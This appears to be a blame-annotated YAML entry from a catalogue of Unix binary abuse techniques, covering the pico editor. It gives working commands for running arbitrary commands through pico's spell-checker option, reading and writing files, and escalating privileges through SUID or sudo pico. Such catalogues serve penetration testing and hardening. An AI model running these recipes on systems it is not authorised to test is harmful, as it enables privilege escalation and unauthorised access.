2018-05-29 19:23:33 +02:00
|
|
|
---
|
|
|
|
functions:
|
|
|
|
execute-non-interactive:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: After running this exit the editor to see the command output.
|
|
|
|
code: |
|
|
|
|
COMMAND=id
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo "$COMMAND" > $TF
|
|
|
|
chmod +x $TF
|
|
|
|
pico -s $TF /etc/hosts
|
|
|
|
^T
|
2018-05-29 19:23:33 +02:00
|
|
|
file-write:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
pico file_to_write
|
2018-08-20 14:35:43 +02:00
|
|
|
DATA
|
2018-07-16 15:01:50 +02:00
|
|
|
^O
|
2018-07-04 20:26:52 +02:00
|
|
|
file-read:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: pico file_to_read
|
2018-07-04 20:26:52 +02:00
|
|
|
suid-enabled:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: After running this exit the editor to see the command output.
|
|
|
|
code: |
|
|
|
|
COMMAND=id
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
|
|
|
|
chmod +x $TF
|
|
|
|
./pico -s $TF /etc/hosts
|
|
|
|
^T
|
2018-07-04 20:26:52 +02:00
|
|
|
sudo-enabled:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: After running this exit the editor to see the command output.
|
|
|
|
code: |
|
|
|
|
COMMAND=id
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo "$COMMAND" > $TF
|
|
|
|
chmod +x $TF
|
|
|
|
sudo pico -s $TF /etc/hosts
|
|
|
|
^T
|
2018-05-29 19:23:33 +02:00
|
|
|
---
|